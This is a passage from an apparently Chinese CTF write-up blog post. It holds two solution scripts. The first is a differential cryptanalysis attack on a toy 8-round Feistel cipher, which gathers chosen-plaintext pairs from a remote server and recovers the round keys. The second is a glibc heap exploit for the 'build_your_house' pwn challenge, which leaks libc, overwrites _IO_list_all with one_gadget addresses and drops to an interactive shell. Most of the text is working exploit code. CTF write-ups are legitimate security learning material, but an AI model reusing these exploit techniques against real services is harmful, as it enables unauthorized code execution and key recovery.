    [14, 13, 1, 12, 2, 15, 8, 2, 1, 7, 5, 14, 1, 1, 1, 7, 1, 9, 0, 0, 0, 2, 11, 4, 6, 3, 5, 0, 4, 0, 0, 6, 0, 2, 5, 13,
     12, 0, 4, 1, 13, 1, 10, 0, 1, 1, 2, 10, 5, 14, 6, 0, 14, 3, 12, 1, 13, 1, 1, 2, 9, 1, 0, 6],
    [1, 2, 15, 1, 1, 1, 0, 0, 14, 2, 1, 8, 1, 12, 1, 0, 6, 0, 5, 10, 0, 0, 3, 9, 12, 8, 3, 13, 2, 11, 0, 3, 0, 0, 7, 13,
     0, 1, 0, 0, 6, 2, 4, 10, 9, 15, 1, 2, 11, 2, 4, 8, 13, 5, 7, 12, 1, 1, 1, 11, 12, 14, 11, 0],
    [8, 13, 12, 15, 0, 2, 1, 1, 9, 2, 0, 0, 15, 1, 9, 6, 8, 0, 0, 11, 14, 3, 5, 0, 11, 4, 0, 1, 4, 1, 12, 9, 2, 0, 12,
     8, 10, 11, 1, 3, 15, 1, 3, 1, 7, 10, 6, 0, 1, 1, 7, 13, 1, 0, 8, 4, 0, 1, 2, 1, 6, 2, 7, 0]]
p_box = [19, 14, 15, 3, 10, 25, 26, 20, 23, 24, 7, 2, 18, 6, 30, 29, 1, 4, 9, 8, 27, 5, 13, 0, 21, 16, 17, 22, 12, 31,
         11, 28]
extend_key = [2, 13, 16, 37, 34, 32, 21, 29, 15, 25, 44, 42, 18, 35, 5, 38, 39, 12, 30, 11, 7, 20, 17, 22, 14, 10, 26,
              1, 33, 46, 45, 6, 40, 41, 43, 24, 9, 47, 4, 0, 19, 28, 27, 3, 31, 36, 8, 23]


def padding(msg):
    pad_len = (8 - len(msg) % 8) % 8
    return msg + bytes([pad_len] * pad_len)


def expand_key(key_seed=None):
    keys = []
    if key_seed == None:
        key_seed = random.getrandbits(48)
    Keygenerator = KEYGENERATOR(key_seed)
    for _ in range(8):
        keys.append(Keygenerator.next())
    return keys


class KEYGENERATOR:
    def __init__(self, seed):
        self.state = seed
        self.a = 0xdeadbeef
        self.b = 0xbeefdead
        self.p = 244953516689137

    def next(self):
        state_bin = bin(self.state)[2:].rjust(48, '0')
        tmp = int(''.join(state_bin[extend_key[_]] for _ in range(48)), 2)
        self.state = (tmp * self.a + self.b) % self.p
        return self.state


class JULIETENCRYPTBLOCK:
    def __init__(self, key=None):
        self.key = key
        self.keys = expand_key(self.key)

    def s(self, x, index):
        row = (x >> 5 << 1 & 2) + (x % 2)
        col = (x >> 1 & 15)
        return s_box[index][(row << 4) + col]

    def p(self, x):
        binx = [int(_) for _ in bin(x)[2:].rjust(32, '0')]
        biny = [binx[p_box[i]] for i in range(32)]
        y = int(''.join([str(_) for _ in biny]), 2)
        return y

    def expand(self, x):
        binx = bin(x)[2:].rjust(32, '0')
        biny = ''
        index = -1
        for qwer in range(8):
            for j in range(index, index + 6):
                biny += binx[j % 32]
            index += 4
        return int(biny, 2)

    def Funct(self, x, k):
        x_in = bin(self.expand(x) ^ k)[2:].rjust(48, '0')
        y_out = ''
        for i in range(0, 48, 6):
            tmp = int(x_in[i:i + 6], 2)
            y_out += bin(self.s(tmp, i // 6))[2:].rjust(4, '0')
        y_out = int(y_out, 2)
        y = self.p(y_out)
        return y

    def partenc(self, x, keys):
        binx = bin(x)[2:].rjust(64, '0')
        l, r = int(binx[:32], 2), int(binx[32:], 2)
        for i in range(8):
            l, r = r, l ^ self.Funct(r, keys[i])
        y = (l + (r << 32)) & ((1 << 64) - 1)
        return y

    def enc(self, pt):
        pt = padding(pt)
        c = b''
        for i in range(0, len(pt), 8):
            c_block = long_to_bytes(self.partenc(bytes_to_long(pt[i:i + 8]), self.keys)).rjust(8, b'\x00')
            c += c_block
        return c


from collections import Counter

...


def gen_diff_output(diff):
    p1 = getRandomNBitInteger(32)
    p2 = p1 ^ diff
    k = getRandomNBitInteger(48)
    JE = JULIETENCRYPTBLOCK(k)
    c1, c2 = JE.Funct(p1, k), JE.Funct(p2, k)
    return c1 ^ c2, (p1, p2, c1, c2)


P_L = [0x00000000, 0x00000004, 0x00000040, 0x00000400, 0x00004000, 0x00040000, 0x00400000, 0x04000000, 0x40000000]
for P_ in P_L:
    counter = Counter()
    for i in range(5000):
        X_, _ = gen_diff_output(P_)
        counter[X_] += 1
    X_, freq = counter.most_common(1)[0]
    print(hex(P_)[2:].rjust(8, '0'), end=' => ')
    print(hex(X_)[2:].rjust(8, '0'), freq / 5000)

# 04000000 => 00000000 0.3394

去靶机上拿数据

from json import dump
from tqdm import tqdm
from Crypto.Util.number import long_to_bytes, getRandomNBitInteger
from pwn import *


def send_msg(io, msg):
    io.sendline(b'[Romeo]:' + msg)


io = remote('123.57.131.167', 27009)
io.recvuntil(b'[Juliet]:My love is:')
rec = io.recvline()
flagc = rec.strip().decode()
io.recv()

pairs = []
for i in tqdm(range(0x1814 // 2)):
    p1 = getRandomNBitInteger(64)
    p2 = p1 ^ 0x0000000004000000
    msg1 = long_to_bytes(p1).hex().encode()
    msg2 = long_to_bytes(p2).hex().encode()
    send_msg(io, msg1)
    c1 = int(io.recvline(keepends=False).split(b'[Juliet]:')[1].strip(), 16)
    send_msg(io, msg2)
    c2 = int(io.recvline(keepends=False).split(b'[Juliet]:')[1].strip(), 16)
    pairs.append(((p1, p2), (c1, c2)))

dump([flagc, pairs], open("data", "w"))

攻击解密脚本:

from binascii import hexlify, unhexlify
from Crypto.Util.number import *
from collections import Counter
from tqdm import tqdm
from json import load
import random

s_box = [
    [12, 1, 1, 0, 13, 2, 14, 7, 11, 10, 12, 0, 1, 12, 3, 1, 9, 1, 11, 2, 1, 15, 3, 9, 10, 5, 9, 0, 3, 15, 2, 4, 0, 1, 1,
     4, 1, 0, 0, 6, 0, 5, 0, 1, 2, 1, 1, 14, 2, 5, 14, 9, 2, 10, 4, 0, 1, 1, 7, 0, 0, 0, 0, 0],
    [1, 11, 2, 8, 11, 5, 1, 8, 0, 0, 2, 4, 13, 0, 11, 1, 0, 11, 2, 1, 0, 10, 14, 9, 14, 0, 9, 13, 3, 0, 4, 13, 7, 15, 0,
     15, 3, 8, 0, 9, 14, 14, 0, 1, 1, 15, 0, 3, 0, 6, 2, 2, 0, 6, 2, 12, 1, 5, 1, 4, 0, 4, 1, 10],
    [4, 2, 0, 12, 14, 1, 12, 15, 4, 1, 2, 0, 3, 5, 6, 1, 9, 13, 10, 12, 8, 1, 5, 0, 0, 8, 4, 11, 2, 1, 4, 7, 11, 1, 0,
     10, 0, 1, 9, 14, 1, 7, 3, 14, 5, 0, 0, 0, 10, 0, 1, 5, 1, 1, 0, 15, 3, 8, 0, 3, 2, 15, 13, 9],
    [8, 15, 9, 2, 10, 6, 8, 11, 0, 0, 1, 5, 1, 1, 9, 1, 1, 5, 3, 1, 2, 12, 14, 0, 2, 15, 4, 7, 11, 1, 8, 1, 6, 0, 0, 2,
     0, 14, 1, 0, 11, 13, 0, 1, 14, 0, 1, 13, 5, 7, 6, 12, 6, 3, 5, 1, 1, 0, 3, 0, 9, 2, 0, 9],
    [0, 1, 1, 13, 7, 12, 0, 12, 8, 14, 15, 1, 2, 2, 0, 4, 6, 2, 5, 1, 11, 1, 1, 1, 9, 12, 1, 3, 2, 15, 15, 0, 14, 2, 9,
     2, 0, 1, 0, 1, 0, 10, 15, 14, 13, 11, 0, 2, 0, 0, 1, 1, 6, 11, 8, 5, 4, 10, 0, 9, 0, 3, 10, 9],
    [14, 13, 1, 12, 2, 15, 8, 2, 1, 7, 5, 14, 1, 1, 1, 7, 1, 9, 0, 0, 0, 2, 11, 4, 6, 3, 5, 0, 4, 0, 0, 6, 0, 2, 5, 13,
     12, 0, 4, 1, 13, 1, 10, 0, 1, 1, 2, 10, 5, 14, 6, 0, 14, 3, 12, 1, 13, 1, 1, 2, 9, 1, 0, 6],
    [1, 2, 15, 1, 1, 1, 0, 0, 14, 2, 1, 8, 1, 12, 1, 0, 6, 0, 5, 10, 0, 0, 3, 9, 12, 8, 3, 13, 2, 11, 0, 3, 0, 0, 7, 13,
     0, 1, 0, 0, 6, 2, 4, 10, 9, 15, 1, 2, 11, 2, 4, 8, 13, 5, 7, 12, 1, 1, 1, 11, 12, 14, 11, 0],
    [8, 13, 12, 15, 0, 2, 1, 1, 9, 2, 0, 0, 15, 1, 9, 6, 8, 0, 0, 11, 14, 3, 5, 0, 11, 4, 0, 1, 4, 1, 12, 9, 2, 0, 12,
     8, 10, 11, 1, 3, 15, 1, 3, 1, 7, 10, 6, 0, 1, 1, 7, 13, 1, 0, 8, 4, 0, 1, 2, 1, 6, 2, 7, 0]]
p_box = [19, 14, 15, 3, 10, 25, 26, 20, 23, 24, 7, 2, 18, 6, 30, 29, 1, 4, 9, 8, 27, 5, 13, 0, 21, 16, 17, 22, 12, 31,
         11, 28]
extend_key = [2, 13, 16, 37, 34, 32, 21, 29, 15, 25, 44, 42, 18, 35, 5, 38, 39, 12, 30, 11, 7, 20, 17, 22, 14, 10, 26,
              1, 33, 46, 45, 6, 40, 41, 43, 24, 9, 47, 4, 0, 19, 28, 27, 3, 31, 36, 8, 23]


flagc, pairs = load(open('data', 'r'))


def padding(msg):
    pad_len = (8 - len(msg) % 8) % 8
    return msg + bytes([pad_len] * pad_len)


def expand_key(key_seed=None):
    keys = []
    if key_seed == None:
        key_seed = random.getrandbits(48)
    Keygenerator = KEYGENERATOR(key_seed)
    for _ in range(8):
        keys.append(Keygenerator.next())
    return keys


def inv_key(key):
    a = 0xdeadbeef
    b = 0xbeefdead
    p = 244953516689137
    INV = inverse(a, p)
    key = ((key - b) * INV) % p
    key_inv = [0] * 48
    key_bin = bin(key)[2:].rjust(48, '0')
    for j in range(48):
        key_inv[extend_key[j]] = key_bin[j]
    key_invs = ''.join(key_inv)
    return int(key_invs, 2)


def inv_keys(k8):
    keys = [0]*7 + [k8]
    for i in range(6, -1, -1):
        keys[i] = inv_key(keys[i+1])
    return keys


def inv_p(x):
    x_bin = [int(_) for _ in bin(x)[2:].rjust(32, '0')]
    y_bin = [0] * 32
    for i in range(32):
        y_bin[p_box[i]] = x_bin[i]
    y = int(''.join([str(_) for _ in y_bin]), 2)
    return y


class KEYGENERATOR:
    def __init__(self, seed):
        self.state = seed
        self.a = 0xdeadbeef
        self.b = 0xbeefdead
        self.p = 244953516689137

    def next(self):
        state_bin = bin(self.state)[2:].rjust(48, '0')
        tmp = int(''.join(state_bin[extend_key[_]] for _ in range(48)), 2)
        self.state = (tmp * self.a + self.b) % self.p
        return self.state


class JULIETENCRYPTBLOCK:
    def __init__(self, key=None):
        self.key = key
        self.keys = expand_key(self.key)

    def s(self, x, index):
        row = (x >> 5 << 1 & 2) + (x % 2)
        col = (x >> 1 & 15)
        return s_box[index][(row << 4) + col]

    def p(self, x):
        binx = [int(_) for _ in bin(x)[2:].rjust(32, '0')]
        biny = [binx[p_box[i]] for i in range(32)]
        y = int(''.join([str(_) for _ in biny]), 2)
        return y

    def expand(self, x):
        binx = bin(x)[2:].rjust(32, '0')
        biny = ''
        index = -1
        for qwer in range(8):
            for j in range(index, index + 6):
                biny += binx[j % 32]
            index += 4
        return int(biny, 2)

    def Funct(self, x, k):
        x_in = bin(self.expand(x) ^ k)[2:].rjust(48, '0')
        y_out = ''
        for i in range(0, 48, 6):
            tmp = int(x_in[i:i + 6], 2)
            y_out += bin(self.s(tmp, i // 6))[2:].rjust(4, '0')
        y_out = int(y_out, 2)
        y = self.p(y_out)
        return y

    def partenc(self, x, keys):
        binx = bin(x)[2:].rjust(64, '0')
        l, r = int(binx[:32], 2), int(binx[32:], 2)
        for i in range(8):
            l, r = r, l ^ self.Funct(r, keys[i])
        y = (l + (r << 32)) & ((1 << 64) - 1)
        return y

    def enc(self, pt):
        pt = padding(pt)
        c = b''
        for i in range(0, len(pt), 8):
            c_block = long_to_bytes(self.partenc(bytes_to_long(pt[i:i + 8]), self.keys)).rjust(8, b'\x00')
            c += c_block
        return c


JK = JULIETENCRYPTBLOCK()
candidate_keys = [Counter() for _ in range(8)]
for _, cs in tqdm(pairs):
    c1, c2 = cs
    if c1 ^ c2 == 0x0400000000000000:
        continue
    l1, l2 = c1 >> 32, c2 >> 32
    r1, r2 = c1 & 0xffffffff, c2 & 0xffffffff
    F_ = l1 ^ l2 ^ 0x04000000
    F_ = inv_p(F_) 

    Ep1 = JK.expand(r1) 
    Ep2 = JK.expand(r2)

    for i in range(8):
        inp1 = (Ep1 >> (7-i)*6) & 0b111111   
        inp2 = (Ep2 >> (7-i)*6) & 0b111111   
        out_xor = (F_ >> (7-i)*4) & 0b1111  
        for key in range(64):
            if JK.s(inp1 ^ key, i) ^ JK.s(inp2 ^ key, i) == out_xor:
                candidate_keys[i][key] += 1


key = []
for i in range(8):
    key.append(candidate_keys[i].most_common(1)[0][0])

key8 = int(''.join(bin(_)[2:].rjust(6, '0') for _ in key), 2)
print(key8)
print(key)
rec_keys = inv_keys(key8)[::-1]
print(rec_keys)

JK = JULIETENCRYPTBLOCK()
FLAGC = long_to_bytes(int(flagc, 16))
JK.keys = rec_keys
print(JK.enc(FLAGC))

Pwn

build_your_house

在网上找到了类似的题,修改那个题的exp后:

#coding=utf-8
from pwn import *

def choice(i):
	ru('Choice:')
	sl(str(i))
def add(size,content=b'a\n'):
	choice(1)
	ru('How big a house do you want to build?')
	sl(str(size))
	ru('How do you want to decorate your house?')
	s(content)
def free(idx):
	choice(2)
	ru('Which house do you want to remove?')
	sl(str(idx))
def show(idx):
	choice(3)
	ru("Which house do you want to view?\n")
	sl(str(idx))
def leak_libc():
    global libc_base,mh,fh,system,binsh_addr,_IO_2_1_stdout_,realloc,io_list_all
    libc_base = u64(ru(b'\x7f')[-6:].ljust(8,b'\x00'))-main_arena-200
    su("libc base ",libc_base)
    mh = libc_base + libc.sym['__malloc_hook']
    system = libc_base + libc.sym['system']
    binsh_addr = libc_base + next(libc.search(b'/bin/sh'))
    realloc = libc_base + libc.sym['realloc']
    fh = libc_base + libc.sym['__free_hook']
    _IO_2_1_stdout_ = libc_base + libc.sym['_IO_2_1_stdout_']
    io_list_all = libc_base+libc.symbols['_IO_list_all']


context(log_level='debug',arch='amd64')
context.terminal = ['terminator','-x','sh','-c']
binary='./build_your_house'
main_arena = 0x3c4b20
s = lambda buf: io.send(buf)
sl = lambda buf: io.sendline(buf)
sa = lambda delim, buf: io.sendafter(delim, buf)
sal = lambda delim, buf: io.sendlineafter(delim, buf)
shell = lambda: io.interactive()
r = lambda n=None: io.recv(n)
ra = lambda t=tube.forever:io.recvall(t)
ru = lambda delim: io.recvuntil(delim)
rl = lambda: io.recvline()
rls = lambda n=2**20: io.recvlines(n)
su = lambda buf,addr:io.success(buf+"==>"+hex(addr))
local = 0
if local == 1:
    io=process(binary)
else:
    io=remote('123.57.131.167',27356)
e=ELF(binary)
libc=ELF("./libc.so.6")
one_gadget = [0x45226,0x4527a,0xf03a4,0xf1247]

add(0x38)
for i in range(4):
	add(0x30)
add(0x30)
add(0x30)
free(0)
for i in range(5):
	free(i+1)

sl('1'*1024)
add(0x38,b'a'*0x38)

for i in range(4):
	add(0x30)
free(1)
sl('1'*1024)
free(6)
sl('1'*1024)



add(0x30)
add(0x30)
add(0x30)
add(0x30,b'\0'*0x30)
add(0x40,b'\0'*0x40)
add(0x40,b'\0'*0x40)
add(0x40,b'\0'*0x40)

free(2)
free(3)

sl('1'*1024)
show(5)


leak_libc()
free(4)
sl('1'*1024)
add(0x30)
add(0x10)
for i in range(3):
	add(0x18,b'\0'*23+b'\n')
free(1)
sl('1'*1024)
add(0x10)
add(0x10,b'\0'*15+b'\n')

free(13)
free(5)

sl('1'*1024)
free(4)
free(7)
free(12)
show(11)
heap = u64(rl()[-7:-1].ljust(8,b'\x00'))-224
print(hex(heap))

sl('1'*1024)

add(0x10)

free(2)
add(0x30,p64(0)+p64(io_list_all-0x10)+b'\n')
add(0x30)
free(9)
add(0x40,b'\0'*0x18+p64(heap+480+16)+b'\n')

free(10)
add(0x47,p64(one_gadget[1]+libc_base)*8+p64(one_gadget[1]+libc_base)[:-1])

sl('4')

shell()
posted @ 2023-01-08 23:27  seizer-zyx  阅读(309)  评论(0编辑  收藏  举报